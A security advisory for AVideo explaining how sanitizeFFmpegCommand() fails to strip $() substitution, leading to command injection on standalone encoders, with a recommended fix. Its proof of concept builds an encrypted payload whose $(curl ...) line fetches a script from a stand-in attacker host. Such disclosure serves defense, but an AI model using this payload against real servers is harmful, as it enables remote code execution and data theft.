AVideo has an OS Command Injection via $() Shell Substitution Bypass in sanitizeFFmpegCommand()

Summary

The sanitizeFFmpegCommand() function in plugin/API/standAlone/functions.php is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (&&, ;, |, `, <, >). However, it fails to strip $() (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted sh -c context in execAsync(), an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server.

Details

Vulnerable sanitization function (plugin/API/standAlone/functions.php:59-82):

function sanitizeFFmpegCommand($command)
{
    $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];
    
    // Remove dangerous characters
    $command = str_replace('&&', '', $command);
    $command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);
    $command = preg_replace('/[;|`<>]/', '', $command);  // Missing: $ ( ) \n
    
    // Ensure it starts with an allowed prefix
    foreach ($allowedPrefixes as $prefix) {
        if (strpos(trim($command), $prefix) === 0) {
            return $command;
        }
    }
    return '';
}

The character class [;|<>]on line 70 does not include$, (, ), or \n. This means $(...)` command substitution passes through completely unmodified.

Execution sink (objects/functionsExec.php:656-658):

$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &";

The addcslashes($command, '"') call at line 639 only escapes double-quote characters. The $() construct is preserved intact and interpreted by sh as command substitution within the double-quoted string.

Execution flow:

1. Attacker sends codeToExecEncrypted parameter to plugin/API/standAlone/ffmpeg.json.php
2. Standalone encoder calls main server's unauthenticated decryptString API to decrypt
3. Decrypted ffmpegCommand passes through sanitizeFFmpegCommand() — $() is NOT stripped
4. Command passes prefix check (starts with ffmpeg)
5. execAsync() wraps it in sh -c "..." — $() is evaluated as command substitution

Auth barrier analysis:

• Requires a valid AES-256-CBC encrypted JSON payload with a timestamp within 30 seconds
• Key is sha256(saltV2) on the main server; saltV2 is generated by random_bytes(16) — cryptographically strong
• IV is substr(sha256(systemRootPath), 0, 16) — predictable but insufficient alone
• On legacy installations without saltV2, falls back to $global['salt'] which may be weaker
• The decryptString API endpoint (API.php:5963) is unauthenticated, enabling probing but not payload crafting

PoC

Assuming the attacker has obtained the encryption key (e.g., from a leaked configuration file, a legacy installation with a weak salt, or via a separate vulnerability):

# Step 1: Craft the malicious ffmpeg command
# $() passes sanitization; curl -o avoids needing > which would be stripped
MALICIOUS_CMD='ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4'

# Step 2: Build the JSON payload
PAYLOAD="{\"ffmpegCommand\":\"$MALICIOUS_CMD\",\"keyword\":\"test\",\"time\":$(date +%s)}"

# Step 3: Encrypt the payload (requires knowledge of salt and systemRootPath)
# KEY = sha256(saltV2)
# IV  = substr(sha256(systemRootPath), 0, 16)
ENCRYPTED=$(php -r "
\$salt = 'KNOWN_SALTV2';
\$iv_source = '/var/www/html/AVideo/';
\$key = hash('sha256', \$salt);
\$iv = substr(hash('sha256', \$iv_source), 0, 16);
echo base64_encode(openssl_encrypt('$PAYLOAD', 'AES-256-CBC', \$key, 0, \$iv));
")

# Step 4: Send to standalone encoder
curl "http://standalone-encoder.example.com/plugin/API/standAlone/ffmpeg.json.php?codeToExecEncrypted=$(python3 -c 'import urllib.parse; print(urllib.parse.quote(\"'$ENCRYPTED'\"))')"

# Result: The standalone encoder executes:
# sh -c "ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4 ..."
# The $(curl ...) is evaluated BEFORE ffmpeg runs, downloading the attacker's script

Sanitization trace for the payload:

• str_replace('&&', '', ...) → no && present, passes
• preg_replace('/\s*&?>.*(?:2>&1)?/', '', ...) → no > outside $(), passes
• preg_replace('/[;|<>]/', '', ...)→ no;|<> present, passes
• Prefix check → starts with ffmpeg, passes
• addcslashes($command, '"') → no " in payload, $() untouched

Impact

• Remote Code Execution: Full arbitrary command execution on the standalone encoder server with the privileges of the web server process
• Lateral Movement: Standalone encoders typically have network access to the main AVideo server, enabling further attacks
• Data Exfiltration: Access to all video files, configuration, and credentials stored on the encoder
• Service Disruption: Attacker can terminate encoding processes or consume system resources

The attack complexity is High due to the encryption key requirement, but the impact is Critical once the barrier is bypassed. Legacy installations without saltV2 are at significantly higher risk.

Recommended Fix

Replace the denylist-based sanitization with proper argument escaping:

function sanitizeFFmpegCommand($command)
{
    $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];

    // Verify it starts with an allowed prefix
    $trimmed = trim($command);
    $validPrefix = false;
    foreach ($allowedPrefixes as $prefix) {
        if (strpos($trimmed, $prefix) === 0) {
            $validPrefix = true;
            break;
        }
    }
    if (!$validPrefix) {
        _error_log("Sanitization failed: Command does not start with an allowed prefix");
        return '';
    }

    // Strip ALL shell metacharacters, including command substitution
    // This covers: ; | ` < > $ ( ) { } \n \r
    $command = preg_replace('/[;|`<>$(){}\\\\]/', '', $command);
    $command = str_replace('&&', '', $command);
    $command = preg_replace('/[\n\r]/', '', $command);
    $command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);

    _error_log("Command sanitized successfully");
    return $command;
}

Better long-term fix: Instead of sanitizing a complete shell command string, parse the ffmpeg arguments and use escapeshellarg() on each individual argument before reassembling the command. This eliminates the need for a denylist entirely.